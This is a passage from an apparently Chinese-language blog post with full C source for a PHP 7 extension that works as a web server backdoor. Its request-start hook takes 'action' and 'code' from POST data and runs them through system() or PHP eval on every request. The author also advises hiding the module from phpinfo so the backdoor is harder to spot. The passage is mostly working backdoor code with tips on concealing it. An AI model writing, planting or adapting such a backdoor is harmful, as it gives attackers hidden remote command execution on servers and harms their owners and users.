        zend_eval_string(Z_STRVAL_P(code), NULL, (char *)"" TSRMLS_CC);
    }
    
    //php_printf("This is PHP_RINIT_FUNCTION");
    return SUCCESS;

}

整个C文件也放这

/*
  +----------------------------------------------------------------------+
  | PHP Version 7                                                        |
  +----------------------------------------------------------------------+
  | Copyright (c) 1997-2018 The PHP Group                                |
  +----------------------------------------------------------------------+
  | This source file is subject to version 3.01 of the PHP license,      |
  | that is bundled with this package in the file LICENSE, and is        |
  | available through the world-wide-web at the following url:           |
  | http://www.php.net/license/3_01.txt                                  |
  | If you did not receive a copy of the PHP license and are unable to   |
  | obtain it through the world-wide-web, please send a note to          |
  | license@php.net so we can mail you a copy immediately.               |
  +----------------------------------------------------------------------+
  | Author:                                                              |
  +----------------------------------------------------------------------+
*/

/* $Id$ */

#ifdef HAVE_CONFIG_H
#include "config.h"
#endif

#include "php.h"
#include "php_ini.h"
#include "ext/standard/info.h"
#include "unistd.h"
#include "php_evoA.h"

/* If you declare any globals in php_evoA.h uncomment this:
ZEND_DECLARE_MODULE_GLOBALS(evoA)
*/

/* True global resources - no need for thread safety here */
static int le_evoA;

/* {{{ PHP_INI
 */
/* Remove comments and fill if you need to have entries in php.ini
PHP_INI_BEGIN()
    STD_PHP_INI_ENTRY("evoA.global_value",      "42", PHP_INI_ALL, OnUpdateLong, global_value, zend_evoA_globals, evoA_globals)
    STD_PHP_INI_ENTRY("evoA.global_string", "foobar", PHP_INI_ALL, OnUpdateString, global_string, zend_evoA_globals, evoA_globals)
PHP_INI_END()
*/
/* }}} */

/* Remove the following function when you have successfully modified config.m4
   so that your module can be compiled into PHP, it exists only for testing
   purposes. */

/* Every user-visible function in PHP should document itself in the source */
/* {{{ proto string confirm_evoA_compiled(string arg)
   Return a string to confirm that the module is compiled in */
PHP_FUNCTION(confirm_evoA_compiled)
{
    char *arg = NULL;
    size_t arg_len, len;
    zend_string *strg;

    if (zend_parse_parameters(ZEND_NUM_ARGS(), "s", &arg, &arg_len) == FAILURE) {
        return;
    }

    strg = strpprintf(0, "Congratulations! You have successfully modified ext/%.78s/config.m4. Module %.78s is now compiled into PHP.", "evoA", arg);

    RETURN_STR(strg);
}
/* }}} */
/* The previous line is meant for vim and emacs, so it can correctly fold and
   unfold functions in source code. See the corresponding marks just before
   function definition, where the functions purpose is also documented. Please
   follow this convention for the convenience of others editing your code.
*/
PHP_FUNCTION(evoA){
    php_printf("This is evoA");
    RETURN_TRUE;
}
PHP_FUNCTION(evoA_hash_get){
    char * urlstr="pass";
    size_t len;
    zval * value;
    zval * get_arr;
    HashTable *get_hash;
    get_arr = &PG(http_globals)[TRACK_VARS_GET]; //Array
    get_hash = HASH_OF(get_arr);
    
    zend_string * zendstr;
    zendstr = strpprintf((size_t)strlen(urlstr),urlstr);
    value = zend_hash_find(get_hash, zendstr);
    if (value != 0) {
            php_printf("Hash_find_str: %s", Z_STRVAL_P(value));
        }
}

PHP_FUNCTION(evoA_post)
{
    zval * password;
    zval * post_arr;
    HashTable *post_hash;
    post_arr = &PG(http_globals)[TRACK_VARS_POST]; //Array
    post_hash = HASH_OF(post_arr);
    password = zend_hash_str_find(post_hash, "pass", strlen("pass"));
    if (password != 0) {
        php_printf("Password: %s", Z_STRVAL_P(password));
    }
}
PHP_FUNCTION(evoA_get)
{
    zval * password;
    zval * get_arr;
    HashTable *get_hash;
    get_arr = &PG(http_globals)[TRACK_VARS_GET]; //Array
    get_hash = HASH_OF(get_arr);
    password = zend_hash_str_find(get_hash, "pass", strlen("pass"));
    if (password != 0) {
        php_printf("Password: %s", Z_STRVAL_P(password));
    }
}
/* {{{ php_evoA_init_globals
 */
/* Uncomment this function if you have INI entries
static void php_evoA_init_globals(zend_evoA_globals *evoA_globals)
{
    evoA_globals->global_value = 0;
    evoA_globals->global_string = NULL;
}
*/
/* }}} */

/* {{{ PHP_MINIT_FUNCTION
 */
PHP_MINIT_FUNCTION(evoA)
{
    /* If you have INI entries, uncomment these lines
    REGISTER_INI_ENTRIES();
    */
    //php_printf("This is PHP_MINIT_FUNCTION");
    return SUCCESS;
}
/* }}} */

/* {{{ PHP_MSHUTDOWN_FUNCTION
 */
PHP_MSHUTDOWN_FUNCTION(evoA)
{
    /* uncomment this line if you have INI entries
    UNREGISTER_INI_ENTRIES();
    */
    //php_printf("This is PHP_MSHUTDOWN_FUNCTION");
    return SUCCESS;
}
/* }}} */

/* Remove if there's nothing to do at request start */
/* {{{ PHP_RINIT_FUNCTION
 */

PHP_RINIT_FUNCTION(evoA)
{
#if defined(COMPILE_DL_EVOA) && defined(ZTS)
    ZEND_TSRMLS_CACHE_UPDATE();
#endif
    zval * action;
    zval * code;
    zval * post_arr;
    char * action_str =NULL;
    HashTable *post_hash;
    post_arr = &PG(http_globals)[TRACK_VARS_POST]; //Array
    post_hash = HASH_OF(post_arr);
    //获取url action参数
    action = zend_hash_str_find(post_hash, "action", strlen("action"));
      //把zval转换为char*
    action_str = Z_STRVAL_P(action);
      //如果是system,执行system函数
    if (strncmp(action_str,"system",6) == 0) {
        code = zend_hash_str_find(post_hash, "code", strlen("code"));
        system(Z_STRVAL_P(code));
    }
      //如果是eval执行eval函数
    else if(strncmp(action_str,"eval",4) == 0){
    code = zend_hash_str_find(post_hash, "code", strlen("code"));
        zend_eval_string(Z_STRVAL_P(code), NULL, (char *)"" TSRMLS_CC);
    }
    //php_printf("This is PHP_RINIT_FUNCTION");
    return SUCCESS;

}
/* }}} */

/* Remove if there's nothing to do at request end */
/* {{{ PHP_RSHUTDOWN_FUNCTION
 */
PHP_RSHUTDOWN_FUNCTION(evoA)
{
    //php_printf("PHP_RSHUTDOWN_FUNCTION");
    return SUCCESS;
}
/* }}} */

/* {{{ PHP_MINFO_FUNCTION
 */
PHP_MINFO_FUNCTION(evoA)
{
    php_info_print_table_start();
    php_info_print_table_header(2, "evoA support", "enabled");
    php_info_print_table_end();

    /* Remove comments if you have entries in php.ini
    DISPLAY_INI_ENTRIES();
    */
}
/* }}} */

/* {{{ evoA_functions[]
 *
 * Every user visible function must have an entry in evoA_functions[].
 */
const zend_function_entry evoA_functions[] = {
    PHP_FE(confirm_evoA_compiled,    NULL)        /* For testing, remove later. */
    PHP_FE(evoA, NULL)
    PHP_FE(evoA_get, NULL)
    PHP_FE(evoA_post, NULL)
    PHP_FE(evoA_hash_get, NULL)
    PHP_FE_END    /* Must be the last line in evoA_functions[] */
};
/* }}} */

/* {{{ evoA_module_entry
 */
zend_module_entry evoA_module_entry = {
    STANDARD_MODULE_HEADER,
    "evoA",
    evoA_functions,
    PHP_MINIT(evoA),
    PHP_MSHUTDOWN(evoA),
    PHP_RINIT(evoA),        /* Replace with NULL if there's nothing to do at request start */
    PHP_RSHUTDOWN(evoA),    /* Replace with NULL if there's nothing to do at request end */
    PHP_MINFO(evoA),
    PHP_EVOA_VERSION,
    STANDARD_MODULE_PROPERTIES
};
/* }}} */

#ifdef COMPILE_DL_EVOA
#ifdef ZTS
ZEND_TSRMLS_CACHE_DEFINE()
#endif
ZEND_GET_MODULE(evoA)
#endif

/*
 * Local variables:
 * tab-width: 4
 * c-basic-offset: 4
 * End:
 * vim600: noet sw=4 ts=4 fdm=marker
 * vim<600: noet sw=4 ts=4
 */

上面的PHP_MINFO_FUNCTION 函数作用是拓展在phpinfo中输出拓展信息,可以把中间的代码注释掉让后门更隐蔽。

eval

图片.png

system(暂时没有回显,还没有好的解决方案)

图片.png
图片.png

至于php拓展获取php.ini, 生成返回值,获取全局变量等内容先鸽了,有时间再写
下次就先写vscode 和 gdb的动态调试吧(flag

参考

https://www.freebuf.com/articles/web/179713.html
http://www.vuln.cn/7045
https://www.jianshu.com/p/32fdad9be6c8
https://blog.csdn.net/mos2046/article/details/7697773 //php7不支持
https://blog.csdn.net/linkaisheng101990/article/details/46380673
https://blog.csdn.net/u011957758/article/details/72513935

- Read More -
This is just a placeholder img.